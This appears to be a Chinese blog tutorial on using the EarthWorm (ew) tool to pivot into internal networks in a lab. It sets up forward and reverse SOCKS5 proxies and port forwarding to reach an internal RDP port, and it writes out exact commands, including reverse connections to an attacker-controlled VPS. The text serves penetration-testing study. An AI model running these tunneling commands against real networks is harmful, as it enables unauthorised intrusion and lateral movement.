原理
1、ew反向代理（内网机器无公网ip需要反弹到公网，需要在vps监听）
vps服务端执行：
./ew_for_linux64 -s rcsocks -l 1080 -e 1024
内网机器执行：
ew_for_Win.exe -s rssocks -d vps的ip -e 1024
使用方式：sock5代理访问的1080端口
2、正向代理（跳ban机既有内网ip又有公网ip，直接建立正向代理进入内网，无需vps）
内网机器执行：
ew_for_Win.exe -s ssocksd -l 1080
使用方式：sock5代理访问内网机器的外网ip的1080端口
思维导图
参数详解
VERSION : free1.2 （版本号1.2）
./xxx ([-options] [values])*
options :
Eg: ./xxx -s ssocksd -h
-s state setup the function.You can pick one from the ##指定使用的代理方式
following options:
ssocksd ：##正向代理
rcsocks ##反向代理
rssocks ##
lcx_listen ##监听
lcx_tran ##反向连接 一步就成
lcx_slave ##正向连接（配合listen使用）
-l listenport open a port for the service startup. ## 监听得端口
-d refhost set the reflection host address. ## 设置反射主机地址
-e refport set the reflection port. ## 设置反射端口
-f connhost set the connect host address . ## 设置连接主机地址
-g connport set the connect port. ## 设置连接端口
-h help show the help text, By adding the -s parameter, ## 帮助
you can also see the more detailed help. ##
-a about show the about pages ## 关于显示关于页面
-v version show the version. ## 版本
-t usectime set the milliseconds for timeout. The default ##设置超时的毫秒数
value is 1000 ##
一、流量映射
1.环境准备
一台kali 客户端，可以联通内网，也可以连通外网
外网ip 192.168.0.103
内网ip 192.168.52.2
一台win server03 内网web服务器
内网ip 192.168.52.3
一台win10外网客户机
同样的需要将ew这款工具进行拉入到靶机里面
如下图：
2.流量映射
A、正向代理
在kali中直接去连接
./ew -s ssocksd -l 8888 开启 8888 端口的 socks 代理
攻击机通过访问 目标主机8888 端口使用目标主机提供的代理
./ew -s ssocksd -l 8888
在火狐中设置代理
然后再访问百度
发现反射回去了
访问内网发现成功
B、反向代理
第一种情况：拿下了web服务器，和内网服务器
这次要准备kali作为web服务器，连接外网的
win server 03作为内网服务器
1.在公网服务器(kali)上执行以下命令进行监听:
./ew -s rcsocks -l 1080 -e 1024 监听本机的1080端口转发到反连1024端口的主机
./ew -s rcsocks -l 7777 -e 1024
2.在win server 03中进行流量映射
./ew_for_Win.exe -s rssocks -d 97.xx.xx.23 -e 1024 通过socks隧道连接公网IP的1024端口
ew -s rssocks -d 192.168.52.2 -e 1024
3.设置火狐代理
代理类型一定要是SOCKS5
访问一下百度，发现是这样
然后我们在进行访问一下win server 03内网服务器
发现同样能成功
看一下隧道的变化
至此我们就可以漫游内网了
第二种情况：
只拿下了一台web服务器
直接手画草图，哈哈，够敬业吧
实验环境
kali ：web服务器：
192.168.0.105
192.168.52.6
win server 03 ：内网服务器
192.168.52.11
win 10 模拟公网vps主机1：
192.168.0.104
win 7 模拟攻击机2设置代理访问内网
192.168.0.102
1.首先在win10（vps）上进行监听
ew -s rcsocks -l 7777 -e 1024
2.再在kali上设置反向代理
./ew -s rssocks -d vps公网ip -e 1024
./ew -s rssocks -d 192.168.0.104 -e 1024
3.从win7中进行设置代理
发现可以直接漫游内网
4.咱们访问的时候观察一下反向代理的变化
发现成功到达内网的80
至此我们就可以漫游内网了
二、端口转发
思维导图在上个lck的差不多，所以我就在网上随便扒下来一张，博主觉得侵权的话，来找我，我给你一个oday，啊哈哈哈~~~
A、反向代理
./ew -s lcx_tran -l kali上监听端口 -f 指定得内网地址 -g 内网某服务端口
./ew -s lcx_tran -l 4444 -f 192.168.52.3 -g 3389
可以一步到位，直接连接
B、正向代理
a、先创建监听
./ew -s lcx_listen -l 监听的公网端口 -e web服务器得内网端口
./ew -s lcx_listen -l 9083 -e 9091
b、后在win server 中进行转发
ew -s lcx_slave -d web服务器得内网地址 -e web服务器得内网端口 -f 内网地址 -g 内网得服务端口
ew -s lcx_slave -d 192.168.52.2 -e 9091 -f 192.168.52.3 -g 3389
纠正：（以后实战的时候进行纠正）
应该是在web服务器上面执行的：
ew -s lcx_slave -d web服务器得内网地址 -e web服务器得内网端口 -f 内网地址 -g 内网得服务端口
验证
验证成功
免责声明：本站某些文章、信息、图片、软件等来源于互联网，由本网整理发表，希望传递更多信息和学习之目的，并不意味赞同起观点或证实其内容的真实性以及非法用途。 如设计、版权等问题，请立即联系管理员，我们会给予更改或删除相关文章，保证您的权利。
